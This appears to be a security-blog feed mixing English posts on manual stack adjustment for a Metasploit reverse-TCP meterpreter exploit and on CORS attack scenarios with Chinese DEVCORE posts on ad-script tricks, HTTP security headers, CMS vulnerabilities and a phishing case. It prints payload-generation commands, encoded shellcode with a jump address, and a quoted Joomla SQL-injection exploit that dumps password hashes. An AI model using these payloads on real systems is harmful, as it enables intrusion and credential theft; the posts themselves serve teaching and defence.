There are new articles available, click to refresh the page.
Before yesterdayUncategorized

Stack Adjustment by hand

23 June 2013 at 18:20
By: geri

When you are developing an exploit and you have very limited space for your payload you might need to adjust the stack to be able to use staged exploits. The problem, in case of a multi-stage payload, is that when the first stage that you send in your exploit payload starts to download the second stage, the stack pointer (ESP) might point to a place which is not far enough from the first stage in the memory; hence, the second stage might corrupt the code that you are executing. Stack adjustment is a technique that tries to solve this problem by setting the ESP to create more space for the second stage.

There is an easy solution for that which is really straight forward in metasploit. In your exploit you can set the ‘StackAdjustment’ attribute of the payload. Our simple example will be the ‘attftp_long_filename’ exploit with with the ‘windows/meterpreter/reverse_nonx_tcp’ payload. As you can see in the [MSF]/msf3/modules/exploits/windows/tftp/attftp_long_filename.rb it is set to -3500. That will subtract 3500 from the ESP just before executing the payload to make enough space for the second stage. In my case the question was, how to do the same without metasploit.

It is actually not that difficult but I wanted to write about it just for the record. As a PoC I implemented the same exploit in python using the same payload, but I will focus here on creating the payload. Our goal will be to create a payload with the following structure:

NOPsled + StackAdjustment + shellcode

Lets start from behind.


I used the ‘msfpayload’ to generate the first stage of the payload and save it in a file in raw format. I intentionally didn’t encode it at the beginning because I wanted to encode it together with the StackAdjustment, otherwise it wouldn’t fit in the available space. So first let’s generate the payload:

[email protected]:/tmp# msfpayload windows/meterpreter/reverse_nonx_tcp LHOST= LPORT=7777 R > payload
[email protected]:/tmp# hexdump payload
0000000 6afc 47eb f9e8 ffff 60ff db31 7d8b 8b3c
0000010 3d7c 0178 8bef 2057 ea01 348b 019a 31ee
0000020 99c0 c1ac 0dca c201 c084 f675 6643 ca39
0000030 e375 8b4b 244f e901 8b66 591c 4f8b 011c
0000040 03e9 992c 6c89 1c24 ff61 31e0 64db 438b
0000050 8b30 0c40 708b ad1c 688b 5e08 5366 6866
0000060 3233 7768 3273 545f b966 6072 d6ff 5395
0000070 5353 4353 4353 8953 66e7 ef81 0208 5357
0000080 b966 dfe7 d6ff b966 6fa8 d6ff 6897 a8c0
0000090 6638 6866 611e 5366 e389 106a 5753 b966
00000a0 0557 d6ff b450 500c 5753 6653 c0b9 ff38
00000b0 00e6                                  


Then let’s see how to do the StackAdjustment. We will subtract 3500 from the ESP, that will make enough space for the second stage payload. To do that the ‘sub esp, 0xDAC’ command has to be executed on the target. We can find out the opcode with the nasm_shell.rb tool of metasploit;

[email protected]:/opt/metasploit/msf3# ./tools/nasm_shell.rb 
nasm > sub esp, 0xDAC
00000000  81ECAC0D0000      sub esp,0xdac 

The happy marriage with encoding

We need to put this opcode before the msf payload and of course it has to be encoded because there are too many 0x00 characters. To do this I just catted together the opcode and the payload and piped it into the msfencode:

[email protected]:/tmp# cat stack_adj payload | msfencode -b '\x00\xff' -t ruby
[*] x86/shikata_ga_nai succeeded with size 210 (iteration=1)

buf =
"\xbe\x15\x4a\xd1\x8c\xda\xde\xd9\x74\x24\xf4\x5f\x31\xc9" +
"\xb1\x2e\x83\xc7\x04\x31\x77\x11\x03\x77\x11\xe2\xe0\xcb" +
"\x3d\x20\x07\xcc\xbd\xc5\x7d\x27\xfa\xdd\x78\x48\xfa\xe1" +
"\x1a\x86\xde\x95\xa7\xd4\x6b\xd5\x6a\x5d\x6d\xc9\x1f\xca" +
"\x4d\x14\xf5\x7e\xb9\x8c\x08\x6f\xf3\x70\x93\xc3\x35\xba" +
"\xae\x1a\x74\xbf\x70\x69\x8e\x83\x16\xab\xa4\x71\x35\x80" +
"\xb3\x35\x9d\x16\x2d\xaf\x56\x04\xf4\xbb\x27\x29\x07\x55" +
"\xb4\x7d\x9e\x2c\xd6\x59\xbc\x4f\xd9\x42\x8d\x54\x41\x08" +
"\xad\x5a\x02\x4e\x3e\x10\x64\x53\x93\xad\xec\x63\xb5\xd7" +
"\xbf\x15\x21\x2b\x0d\xb2\xc6\x38\x43\x1d\x7d\xd9\x1a\xd3" +
"\x1d\xda\x8a\x81\x8d\x77\x61\xf9\x72\x2b\xc6\xae\xfd\x2c" +
"\xae\xd1\x11\xba\x2c\x85\xbe\xdd\x89\xce\x9e\xdd\x3f\x76" +
"\x98\x8a\xd0\x88\x0c\x5d\x46\xb7\x19\x5a\xf0\x51\x32\x85" +
"\x9d\xfb\x91\x30\xbe\x6e\x06\x10\x17\x09\x9f\xc1\x92\x2a" +

It was important to encode them together otherwise it would not fit in the 223 byte space available in the exploit.


The NOPsled can be easily created with metasploit, since the encoded shellcode is 210 bytes and we need to fill 223 bytes, we need to generate a 13 bytes long NOPsled:

msf  > use nop/x86/opty2
msf  nop(opty2) > generate -h
Usage: generate [options] length

Generates a NOP sled of a given length.


    -b <opt>  The list of characters to avoid: '\x00\xff'
    -h        Help banner.
    -s <opt>  The comma separated list of registers to save.
    -t <opt>  The output type: ruby, perl, c, or raw.

msf  nop(opty2) > generate -b '\x00\xff' 13
buf =

Putting everything together

In my exploit, I simply concatenated everything together:

nopsled = "\x48\x4f\x2d\x25\xbb\x66\xba\x3d\x47\x41\x2f\xd6\xfd"
shellcode = nopsled
shellcode = shellcode + buf
shellcode = shellcode + "\x53\x93\x42\x7e" #jmp esp address
shellcode = shellcode + "\x83\xc4\x28\xc3" # add esp \x28; retn


The important takeaway here is how to adjust your stack manually if for some reason you can’t use metasploit. It is not difficult you just need to get your hands a bit dirty with bytes and hex.

CORS: Attacker Model

22 September 2013 at 19:49
By: geri

I am preparing myself for the Hacktivity conference in Budapest, where I am gonna talk about the security of the Cross-Origin Resource Sharing (CORS). As part of the preparation I will summarise my thoughts in a couple of blog posts.

To start off with I will describe the potential attackers who could try to use CORS in their attacks and I will build an attacker model.

First let’s look at the architecture where CORS is relevant.

CORS: attack environment

CORS: attack environment

It can be seen on the picture that the attacker has control of at least one server. Of course this server could be in the internal network, however, this way the model is more general. The target can be either in the intranet or in the Internet, which brings us to the first differentiation point: the attacker’s knowledge about the internal network.

1) Knowledge

Internal attacker

Here the Internal attacker means that he has knowledge about the internal network and services, but it doesn’t mean necessarily that he is in the internal network. A good example is an ex-employee, who knows how to interact with the internal service and has great chances to do social engineering, however, he has no access to the internal network anymore.

External attacker

The attacker has no knowledge about the internal network. In this case he could either attack services on the Internet, to which he has access, and he is able to create attacks. He can also create attacks to get to know the internal network to find well known software (i.e., open source project used by the company) which he can analyse off-line.

2) Location

Although the attacker could be local, but he would have better options then using CORS, so I would generally consider a remote attacker. As shown on the architecture the attacker has control at least over one server on the Internet. This server can be his own, then he needs to trick the user to visit it, or it can be a compromised server, which he could use to inject his own code for instance through an XSS. There are enough vulnerable servers on the Internet so this is a good option as well.

3) Goal

The goal of the attacker is either to steal information from the target servers, to which he doesn’t have access, or manipulate these applications in a way that can help him in further attacks. When attacking a service on the Internet his goal might be to use the target user’s authenticated session to steal data. In case of the internal target the most important goal is to get access to the target services at all.

4) Summary

To finish the analysis, using the above described attributes a potential attack could be for example the following:

  • Well informed about the target service.
  • Remote attacker.
  • Goal: access protected content or services.

CORS: Attack scenarios

1 November 2013 at 12:21
By: geri

I was preparing myself for the Hacktivity conference in Budapest, where I talked about the security of the Cross-Origin Resource Sharing (CORS). As part of the preparation I summarised my thoughts in a couple of blog posts. This is one of them.

As a follow up of my previous post, I would like to continue with the short analysis of the threats and attack scenarios which could exploit CORS.

There are a few things to consider here. First, that CORS is not broken. It is just a feature that can support other already existing attacks to exploit other vulnerabilities. From penetration tester point of view CORS is rather a tool, then a vulnerability. Second, the most important property in CORS is that it allows you some kind of pass through the same-origin policy with a handful of limitations.

First let’s see the possible attacks from three different perspectives:

  • Goal of the attack
  • Target’s location
  • Type of attack

1) Goal of the attack

To start off with, it is worth to understand what kind of goals can an attacker have in mind.

Exploit Cross-Site Request Forgery

The most critical problem that an attacker can exploit with CORS is the Cross-Site Request Forgery(CSRF). The main reason for that is that, with CORS the attacker can send a complex set of requests to the server even with session cookies. For instance before CORS it was a bit difficult to order a product as the CSRF attack if the order process was multistage. In that case the attacker had to submit multiple forms to send the correct requests, however, with CORS it is possible to implement the whole attack in JavaScript and when the user loads the attacker’s malicious website the JavaScript can immediately start to send requests to the target.

Another important aspect is the file upload CSRF. I have already written about that here, so I won’t go into details, however, the point is that before CORS it was not possible to upload files through CSRF because of the ‘filename’ attribute in the request. But now it is possible because JavaScript can be used to build the request.

Interact with the internal network

If the user loads the attacker’s website in the company network, that essentially means that the attacker can execute code in the internal network. Of course some pretty strong limitations apply, which I will describe in the ‘Limitations’ part. So in this case the attacker can use CORS to try to explore the network, find well known service, try to do simple scanning etc.., or simply attack a known internal service which he has no access to.

2) Target’s location

Another important aspect of attacks is the location of the target. Here when we say ‘target’, then the target service is meant, so not the user who loads the malicious content but the service, which the hacker wants to attack through CORS.

Attacking services on the Internet

This is pretty straightforward. The attacker wants to attack a service which runs publicly on the Internet, however, he wants to access some restricted content, or he wants to do it in the name of somebody else. He can setup a malicious page, trick the user to load it and when he does, the page can interact with the target service from the user’s browser. An (imaginary) example would be the following: let’s assume that Facebook has a CSRF vulnerability in the share functionality. When the innocent user opens the malicious website, the JavaScript on it send a request to Facebook to share something (which complies with the attacker’s goal) on the user’s wall. Because of CORS the JavaScript can do that and with the ‘withcredentials’ XmlHttpRequest attribute the script can access the authenticated session of the user.

Attacking internal services

In the second part the attacker uses CORS and the user’s browser as a pivot point to get access to the internal (company) network. When the user loads the attacker’s malicious page the JavaScript will be able to access services, which are not accessible for the attacker from the Internet.

3) Direct vs Indirect

Direct attack against services

I wanted to mention this case, because it might seem trivial, but still there are many people doing such mistakes because they misunderstand CORS. So the problem is that some people considers CORS as some kind of authorization mechanism. This is coming from the fact that if you send an XmlHttpRequest and the server rejects your CORS the response data will be not available for the JavaScript. What they forget is that the data is still sent to the client and the browser decides based on the response’s Allow-Origin-* headers whether to allow it to the JavaScript or not. Unfortunately this solutions fails terribly when the client happens to be a script or a netcat running in the terminal. So when I write direct attack, I mean that the attacker connects directly to the service and not through the browser of some other user.

Indirect attacks

The indirect attacks are the traditional client side attacks, when the malicious code is injected in a website, that has to be loaded by the user. When the page is loaded the malicious code attacks the target service from the user’s client.

4) Limitations

As mentioned before there are pretty strong limitations when using CORS.

Write only requests

Often when the service is well configured or not configured at all, the response will not be readable for the JavaScript. For instance if the HTTP response has no Access-Control-Allow-Origin header, then , although all data were sent to the client, the JavaScript will not be able to access it. This means that requests can be sent to the server and the requested actions will be executed (hence the write only), but the JavaScript won’t be able to read the responses. This will stop the attacker to first request a form on the website to read the CSRF-protection-token and then submit the form with the token, because it won’t be able to read the response.

withCredentials vs. Access-Control-Allow-Origin: *

This is an interesting limitation which is actually quite smart. If you send a request with credentials and the server responds with Access-Control-Allow-Origin: *, which allows every domain, then you will not see the response content from JavaScript. The reason is that the ‘withCredentials’ cannot be used if all origins are allowed. This is the last line of defense against CSRF. If you could read the response, that would break the 99% of CSRF protections, because you could first load a page with you credentials, steal the CSRF token, then do a CSRF with the token.

5) Summary

Although these different perspectives are a little redundant, but all the different attack scenarios can be built from the combination of them.

Since this is only my quick analysis, if you have other ideas to the topic let me know.

Slides: Security Implication of the Cross-Origin Resource Sharing

26 November 2013 at 22:41
By: geri

As I mentioned in the CORS: Attack scenarios and the CORS: Attacker Model posts, I held the presentation about the security of CORS at the Hacktivity conference in Budapest. The presentation slides can be downloaded from here. If you have any questions to the topic, then let me know.

Review: Build a Network Application with Node video tutorial

20 January 2014 at 19:40
By: geri

I have been asked to review Joe Stanco’s Build a Network Application with Node video tutorial. So let’s see.



So first of all let’s see what you get. This is a Node.js video tutorial. To get a glimpse you can watch the example chapter on Youtube, here. From the format point of view, you get a web UI to watch the videos, which you can either do on-line or off-line. For instance I was watching it on the train to Vienna, so it works very well off-line. The tutorial is organized in 1-3 minutes videos. This can be useful if you want to revisit a topic later, however, it is a bit annoying when you watch it for the first time. The only problem is that the next video is not loaded automatically, hence you always have to minimise the video, click the next chapter and then click play. This is still ok, but it could be better.


I won’t copy-paste the TOC, you can find it here. I think the covered topics are pretty goodm if you are a beginner in Node. The videos are also quiet good, very few slides, mostly code, terminal, and browser which fits to my taste :), however the code is not written in live, but copy-pasted which makes it for me and bit more difficult to follow, because I had to pause the video often to actually have time to read through the inserted code. It is at least better then, if it would be too slow and you have to wait for the video. Another annoying thing, in the UI, is that you cannot pause the video with the spacebar (which I think should be default for every media player).

Regarding the topics, as a rule-of-thumb you could say that for every mentioned topic it explained how to install, configure it, and one example is shown. If you already have this experience with any of the topic, you probably won’t learn anything new.

The narrator, to be honest I don’t know whether it is Joe Stanco or not, speaks clearly. The script of the course is clearly well prepared which has advantages and disadvantages. Good part is that is really clear and exact, bad is that it lacks fun and humour and most things are only defined exactly once. Which means if you don’t understand something from one sentence then you won’t have another chance. But this also makes the course shorter and not redundant.

Although the course doesn’t include exercises, the code of the examples are available, so you can try them out and play with them.


Since I work in security I must take that in consideration as well. The course doesn’t talk about security at all, which makes me a bit sad. Of course you could say that this is not an advanced course and IT security is more complicated than that, however in my opinion security should be discussed on every level, at least so that the reader will be aware of the threats and that he has to deal with security. I think most of the people who will take this tutorial will start to write applications without taking any advanced course where security would be discussed, thus, they will be probably writing insecure applications as long as they get hacked or somebody tells them to take security seriously. That is why I think that no introductory course should exist without mentioning security.


  • Topics are good.
  • Example code is available.
  • Faster way to get to know Node, then reading a book.
  • Script is well written.
  • More code, less slides.
  • Explanations are mostly clear.


  • No automatic jump to next video.
  • No pause on spacebar.
  • Everything explained only once.
  • No excercises.


I think this is a good course if you already know JavaScript but you are new to Node.js. Have fun with it if you decide to take it.

DEVCORE 新網站上線!

26 February 2014 at 16:00

DEVCORE 的新網站上線了!

非常感謝專業的 EVENDESIGN 幫我們設計精美的網站!


各項服務的詳細內容可參考 Services 頁面。







歡迎隨時聯絡我們! contact [at] devco.re

奇優廣告 Qiyou 廣告手法剖析

5 March 2014 at 16:00


今天我們來談談「廣告顯示手法」。不少廣告商為了要增加廣告的曝光以及點擊率,會使用各種手法強迫使用者顯示廣告。例如彈出式視窗、內嵌廣告、強制跳轉等等。但這樣的手法有什麼好提的呢?今天有一個很特別的案例,讓我們來看看一個網站「1kkk.com 極速漫畫」。

奇優廣告 Qiyou 廣告手法剖析 - 1kkk.com

奇優廣告 Qiyou 廣告手法剖析 - 1kkk.com 漫畫頁面
網站中充斥著煩人的廣告,並且突然一閃而過 Safari 的「閱讀列表」動畫。怎麼會突然這樣呢?讓我們打開「閱讀列表」一探究竟。

奇優廣告 Qiyou 廣告手法剖析 - Safari 顯示閱讀側邊欄
奇優廣告 Qiyou 廣告手法剖析 - Safari 閱讀列表被放置廣告 URL



這是怎麼做到的呢?就是一種利用 JavaScript 控制滑鼠點擊的變形應用。點選「網頁檢閱器」或是「開發者工具」,會看到一段奇怪的 JavaScript 控制滑鼠的點擊行為。

奇優廣告 Qiyou 廣告手法剖析 - 廣告 JavaScript

分析節錄後的 code 如下:

<!DOCTYPE html>
    var force_add_url_to_readinglist = function (target_url) {
      try {
        var fake_element = document.createElement('a');
        fake_element.setAttribute('href', target_url);
        fake_element.setAttribute('style', 'display:none;');

        // https://developer.mozilla.org/en-US/docs/Web/API/event.initMouseEvent
        var fake_event = document.createEvent('MouseEvents');
        fake_event.initMouseEvent('click', false, false, window, 0, 0, 0, 0, 0, false, false, true, false, 0, null);

      } catch ( error ) {
        // nothing.

    var url = 'http://google.com/?' + Math.random().toString().substr(1);




利用「initMouseEvent」模擬滑鼠的點擊,在 URL 上按下 Shift 鍵點擊。在一般瀏覽器中是「開啟新視窗」,在 Safari 中則是「加入閱讀清單」了,因此形成廣告視窗不斷加入閱讀清單的現象。廣告商利用這種手法增加廣告的點擊率,只要瀏覽器沒有安裝阻擋廣告的套件或者是阻擋「彈出式視窗」,你就會成為流量的貢獻者。

經過我們的測試,Internet Explorer、Mozilla Firefox 不會受這類攻擊影響,Google Chrome、Opera 則會被內建的 Pop-up 視窗阻擋功能擋下。但若是直接模擬點擊,則全數瀏覽器都會受影響導向至 URL。雖然這種類型的攻擊不會造成實質上的損失跟危害,但若是結合其他惡意手法將可以造成攻擊。例如透過網站掛碼將使用者導向至惡意網站等等。


  1. 安裝 NoScript 類型套件,僅允許可信賴的網站執行 JavaScript
  2. 開啟「彈出式視窗」阻擋功能,並將網站安全性等級提高。
  3. 安裝 AdBlock 等廣告阻擋套件(但會影響網站營收)
  4. 使用最新版本瀏覽器以策安全


HTTP Headers 的資安議題 (1)

9 March 2014 at 16:00




而對於技術人員來說,若要強化網站安全性,必須先了解駭客如何攻擊,才知道如何建立根本性的防禦機制。但是企業主通常捨不得送員工去參加專業的教育訓練,台灣員工拿的 22k 低薪也低得常常令人捨不得花錢去上課。



有的!目前各家瀏覽器 (Google Chrome、Firefox、Safari、IE) 其實已經支援許多種資安相關的 HTTP headers。開發人員若在伺服器設定加入某些 headers,瀏覽器收到 response 時就會執行相對應的防禦機制,如此一來可直接提升網頁應用程式的基本安全性。這些 HTTP headers 通常也已被許多常見的 framework 納入爲基本功能,即使開發人員不清楚如何修改伺服器相關設定,也可以依靠 framework 提供的方式來使用這些 headers。因此使用這些 headers 來提升網站安全性就成爲頗具 CP 值的方式。

目前最常見的資安相關 HTTP headers 可參考 OWASP 網站 所條列的內容:

  • Content-Security-Policy (X-Content-Security-Policy、X-Webkit-CSP 都是同一系列)
  • Strict-Transport-Security
  • X-Content-Type-Options
  • X-Frame-Options
  • X-XSS-Protection

還有一些其他的資安相關 HTTP headers 也值得注意:

  • Access-Control-Allow-Origin
  • X-Download-Options
  • X-Permitted-Cross-Domain-Policies

最後有一項比較特別的是 Cookie 的安全設定,由於 Cookie 也是 HTTP headers 的一部份,因此本文也將其列出:

  • Set-Cookie: HttpOnly
  • Set-Cookie: Secure

上述 headers 的數量是不是稍微超過你的想像?其實這些技術早已被很多大公司採用,像是 Google、Facebook、Twitter 等常見的網路服務都可看到這些 headers 的蹤影。下面這張圖片使用 Chrome 的 Inspector 來觀察 Twitter 的 HTTP response 內容:

Twitter 的 HTTP reponse

從畫紅線的部分我們可看到 Twitter 在 Cookie 設定了 Secure 與 HttpOnly 這兩個屬性,並且採用了 Strict-Transport-Security、X-Content-Type-Options、X-Frame-Options、X-XSS-Protection 這幾種 headers。

如果覺得用圖形界面太麻煩,也可以使用 command line 的工具來觀察。下面這張圖片使用 curl 來觀察 Facebook 的 HTTP response 內容:

Facebook 的 HTTP response

上述資安相關的 headers 想解決哪些問題?

目前這些資安相關的 HTTP headers 想解決的問題主要可分為以下五大類:

  • 防禦 XSS (Cross Site Scripting):
    • Content-Security-Policy
    • Set-Cookie: HttpOnly
    • X-XSS-Protection
    • X-Download-Options
  • 防禦 Clickjacking:
    • X-Frame-Options
  • 強化 HTTPS 機制:
    • Set-Cookie: Secure
    • Strict-Transport-Security
  • 避免瀏覽器誤判文件形態:
    • X-Content-Type-Options
  • 保護網站資源別被任意存取:
    • Access-Control-Allow-Origin(此 header 若設定錯誤會適得其反!)
    • X-Permitted-Cross-Domain-Policies

其中 XSSClickjacking 是目前常見的攻擊手法,尤其 XSS 目前仍高居 OWASP Top 10 2013 的第三名,其嚴重性可見一斑。而在我們執行過的許多滲透測試案之中,被我們找出 XSS 弱點的網站高達九成!實在是不能輕忽這些問題。若能降低這些手法攻擊成功的機率,企業的利益就能有更多的安全保障,客戶對企業的信賴亦會更加穩固。

目前這些 headers 的使用狀況?

這麼簡便的基本防禦方式,理當廣為企業所採用,因此我們針對 Alexa Taiwan Top 525 中挑出 513 個可正常使用的網站(咦?一般不是 Top 500 嗎?我沒騙你,真的有 525),調查這些網站是否使用某些常見的 HTTP headers。結果相當令人失望,許多網站都未採用這些 headers。統計數據如下圖:

HTTP headers statistic of Alexa Taiwan Top 513

從統計結果中可發現最多人使用的 HttpOnly 只有 21.25%,排名第二的 X-Frame-Options 也只有 7.80%。而且這些數據尚未將 Google、Twitter 等大公司排除,若將前述國際公司排除後,這些比率恐怕會更低。

不過在上述網站中有不少入口網站、漫畫網站、色情網站,或是公司並非台灣企業,無法反應台灣的使用狀況。恰好在 2012 年 10 月台灣有許多網路服務公司一同成立了 TIEA 台灣網路暨電子商務產業發展協會,目前網站上的會員名單中有 116 個會員,其中不少頗具代表性,正好可觀察這些公司營運的網站是否有採用這些 headers。統計數據如下圖:

HTTP headers statistic of TIEA

很可惜地,所有 headers 的採用率比起上一份數據都還要低。除非公司網站僅使用靜態頁面,網站上沒有任何商業邏輯、帳號、個資,否則應該都要使用合適的 headers 為你的資安防禦工事多築一道牆。

而且由於 meeya 目前沒有正式官網,是直接使用 facebook 粉絲頁作為官網,因此 Content-Security-Policy、Set-Cookie Secure、Strict-Transport-Security、X-Content-Type-Options、X-Frame-Options、X-XSS-Protection 等六項 headers 的統計數量都還要再減一,頓時 Content-Security-Policy 與 Strict-Transport-Security 的總數量皆降至 0 個。此狀況顯示出,即使是在一些台灣主流的網站中,相關營運人員在資安領域仍有許多努力與學習的空間。



接下來本文的續作我們會分幾個篇章詳談各種 headers 的使用方式並介紹實際案例,下一篇將會探討專門防禦 XSS 的 HTTP headers,敬請期待!等不及的朋友們就請先用上面的一些關鍵字自行上網查詢囉!


13 March 2014 at 16:00





  1. 程式開發已久難以修改
  2. 開發人員無安全觀念
  3. 大量整合外部套件,無法控管每個套件安全



DedeCMS 是知名的內容管理系統,不少公司拿此套件架設網站、部落格等。但在這幾個月,在「烏雲平台」上陸續有人揭露 DedeCMS 的漏洞。包括大量各種 SQL Injection、Cross-Site Scripting 弱點等等,甚至還包括 Command Execution 問題。如果沒有即時修正這些問題,小則造成用戶帳號被盜,大則造成整台主機被入侵,取得作業系統權限。


什麼系統沒被找到漏洞過呢?有那麼嚴重嗎?但該系統已經不只一次出現重大漏洞導致企業遭到入侵,在今年一二月份更是遭揭露多達十數個高風險 SQL Injection 資料庫注入漏洞。此現象凸顯該套件的設計並未經過安全測試,並且採用不安全的程式撰寫方式,未來可能會有更多隱含的漏洞釋出。


在平台中搜尋關鍵字「DedeCMS」,會發現漏洞提報的次數相當多,在漏洞的評論中也有不少技術人員進行討論。但更多的疑惑是為什麼 DedeCMS 會一再的發生資安問題。例如以下漏洞:


而於另一個「Sebug 安全漏洞信息庫」也可以看到不少 DedeCMS 的蹤影。




Joomla! 是另一套國際非常知名的 CMS 系統,因為其便利性,很多企業、學校、政府單位,都採用此套件建立網站。透過 Google Hacking 方式可以找到台灣非常多網站都使用 Joomla! 架站。

site:tw intitle:管理區 inurl:administrator

Google Hacking 尋找 Joomla!

但是如果今天這個系統出了問題呢?「Joomla!」因為外掛、套件眾多,也經常成為漏洞發掘的對象。在 2014/02/05,國外釋出了一個 SQL Injection Exploit,可以導致網站帳號密碼直接被導出。


Secunia: Joomla! Multiple Vulnerabilities http://secunia.com/advisories/56772/

Exploit 位址:http://www.exploit-db.com/exploits/31459/

# Exploit Title: Joomla 3.2.1 sql injection
# Date: 05/02/2014
# Exploit Author: [email protected]
# Vendor Homepage: http://www.joomla.org/
# Software Link: http://joomlacode.org/gf/download/frsrelease/19007/134333/Joomla_3.2.1-Stable-Full_Package.zip
# Version: 3.2.1 (default installation with Test sample data)
# Tested on: Virtualbox (debian) + apache
will cause an error:
1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\)' at line 3 SQL=SELECT `t`.`id` FROM `k59cv_tags` AS t INNER JOIN `k59cv_contentitem_tag_map` AS m ON `m`.`tag_id` = `t`.`id` AND `m`.`type_alias` = 'com_weblinks.categories' AND `m`.`content_item_id` IN ( \) Array ( [type] => 8 [message] => Undefined offset: 0 [file] => /var/www/Joomla_3.2.1/libraries/joomla/filter/input.php [line] => 203 )
I modified the original error.php file with this code --- <?php print_r(error_get_last()); ?> --- in order to obtain something useful. ;-)
Now i can easily exploit this flaw:
and obtain the hash:
1054 Unknown column '$P$D8wDjZpDIF4cEn41o0b4XW5CUrkCOZ1' in 'where clause' SQL=SELECT `m`.`tag_id`,`m`.`core_content_id`,`m`.`content_item_id`,`m`.`type_alias`,COUNT( `tag_id`) AS `count`,`t`.`access`,`t`.`id`,`ct`.`router`,`cc`.`core_title`,`cc`.`core_alias`,`cc`.`core_catid`,`cc`.`core_language` FROM `k59cv_contentitem_tag_map` AS `m` INNER JOIN `k59cv_tags` AS `t` ON m.tag_id = t.id INNER JOIN `k59cv_ucm_content` AS `cc` ON m.core_content_id = cc.core_content_id INNER JOIN `k59cv_content_types` AS `ct` ON m.type_alias = ct.type_alias WHERE `m`.`tag_id` IN ($P$D8wDjZpDIF4cEn41o0b4XW5CUrkCOZ1) AND t.access IN (1,1) AND (`m`.`content_item_id` <> 0 ) union select password from `k59cv_users` -- ) OR `m`.`type_alias` <> 'com_weblinks.categories') AND `cc`.`core_state` = 1 GROUP BY `m`.`core_content_id` ORDER BY `count` DESC LIMIT 0, 5

值得注意一看的是官方公告,上面標註著漏洞回報時間以及修補時間。2014/2/6 接獲回報,2014/3/6 修復。在這整整一個月的時間之內,所有適用版本內的 Joomla! 網站都將受此漏洞影響。因此套件廠商的反應修復速度越慢,顧客暴露在風險之中的時間越長。

Project: Joomla!
SubProject: CMS
Severity: High
Versions: 3.1.0 through 3.2.2
Exploit type: SQL Injection
Reported Date: 2014-February-06
Fixed Date: 2014-March-06
CVE Number: Pending



公司有一套客製化的系統需要建置,但是因為公司內部開發人員不足,因此把這個系統外包出去給廠商做。貨比三家不吃虧,比了 A B C 三家,發現 A 家最便宜實惠,交貨時間又短。決定就把這個系統發包給 A 廠商做。半年過去了,這個廠商順利交貨結案。

一年過後,發現這個系統竟然遭到入侵,主動攻擊內部其他伺服器。「不是有買防火牆嗎?怎麼還會被入侵?」老闆說。這可嚴重了,馬上找廠商來刮一頓。沒想到,A 廠商表示,該案已經順利結案,維護期也已經過了,沒辦法提供協助,除非繼續簽訂維護合約。問題總得解決,簽訂了維護合約之後,A 廠商也協助把病毒砍掉了。圓滿結束?事情有那麼簡單嗎?

過了兩天,系統又開始攻擊其他伺服器。「病毒不是已經砍掉了嗎?」老闆說。問題在哪大家應該都很清楚。在尋找資安廠商協助之下,發現主機是因為 A 廠商設計的系統含有漏洞,導致 SQL Injection 問題,遭攻擊者利用植入惡意程式。A 廠商百般無奈,摸摸鼻子把這個漏洞修補起來。又過了兩天,再度遭到入侵。看了看,發現又是另一個 SQL Injection 問題。在幾次與攻擊者的不斷角力之下,終於好像把問題都修完了。

過了一週,系統再度有惡意程式的蹤跡,A 廠商也無能為力。資安廠商表示,買這個就對了!在陸續被迫買了防火牆、WAF、IDS 等設備後,雖然問題貌似改善,但系統仍然零星有入侵事件發生。公司只好「斷然處置」,等待下次預算,另請廠商重新開發系統。

  • 問題 1:該系統是否還有其他漏洞?
  • 問題 2:公司的處置是否正確?
  • 問題 3:A 廠商的其他客戶是否有類似的問題?
  • 問題 4:不是有買資安設備?為什麼還會有資安事件?
  • 問題 5:公司該如何自保?
  • 問題 6:廠商該如何自保?


  • 問題 1:該系統是否還有其他漏洞?

如果一個在開發時期就沒有注意安全的系統,很有可能有更多不為人知的漏洞。如果被動依賴資安事件,發生一件修一個漏洞,那是永無止盡的。正確的方式應該是直接針對 A 廠商的原始碼進行黑箱滲透測試、白箱源碼檢測 (Code Review),才能快速找出所有風險。

  • 問題 2:公司的處置是否正確?

「貨比三家不吃虧」,節儉確實是美德,但是在資訊產業中,越便宜的系統可能代表著更多的 cost down,除了犧牲掉品質之外,可能帶給企業更多損失。在資安事件發生時,一定要找原本維運廠商負責,並且與資安顧問公司配合,協助廠商把問題解決。

  • 問題 3:A 廠商的其他客戶是否有類似的問題?


  • 問題 4:不是有買資安設備?為什麼還會有資安事件?



  • 問題 5:公司該如何自保?
  • 問題 6:廠商該如何自保?





企業該如何自保?使用 OpenSource 第三方套件或者是系統委外開發,是企業無可避免的。如果是第三方套件,平時可以多加注意套件的資安消息,如果一有新的漏洞被發現,將可以在第一時間應變。若沒有足夠人力密切注意資安消息,也可以委請資安顧問廠商協助,在得知資安消息的第一時間通報企業。委外開發的系統,企業可以要求廠商提出專業公正第三方資安公司進行檢測,並且提出安全報告,證明該系統有經過滲透測試等安全檢測,保障雙方的權利。


  • 密切注意官方的更新程式並立即更新
  • 此台伺服器的帳號密碼切勿與他台共用
  • 將此台伺服器與其他伺服器隔離,避免遭入侵時受害範圍擴大
  • 異地備份伺服器的系統記錄,並定時檢閱記錄,觀察是否有可疑行為
  • 考慮採用 Web Application Firewall (WAF)、ModSecurity 伺服器安全模組,增加攻擊難度
  • 重新評估使用遭入侵套件的必要性以及安全考量,避免成為企業的隱含風險


Google 帳號釣魚案例

30 March 2014 at 16:00

最近身邊的朋友不斷的收到 Gmail 中 Google 的警告:

Gmail state-sponsored attacker warning

Gmail 國家資助的攻擊者警告

駭客間的戰爭已經不只是個人對個人,而已經擴大成國家對國家。一個國家為了獲取他國的機密文件、情報、個人資料等,都會想盡各種辦法入侵帳號、寄送惡意郵件、釣魚盜取密碼等。而身為受害者的我們能做什麼呢?Google 官方提出的建議是:加強密碼安全、注意登入 IP 位址、更新自己使用的軟體、開啟二階段驗證。當然有良好的資安意識才是更重要的。


在信箱中躺著一封很像是國外客戶的信件「Company Profile / Order Details」。內容看起來也很正常,並且附上了公司的基本資料為附加檔案。


點開附件,會發現畫面先跳了 JavaScript 警告視窗後,隨即導向到 Google 登入頁面。

注意看,這個登入頁面是真的嗎?有沒有發現畫面上的「Stay signed in」前面的勾變成方框了?瀏覽器上的網址也是在本機的位址。想想看,怎麼可能點了附件之後,跳轉到 Google 登入畫面?

釣魚信件附件假冒 Google 登入

讓我們看一下原始碼,會發現他的 form 被改成一個奇怪的網址,看起來就是惡意網站。其餘網頁的部份都是從 Google 真實的登入頁面抓取下來修改的。因此只要一不注意,就會以為是真的 Google 登入畫面而輸入帳號密碼。


節錄部分 code 如下:

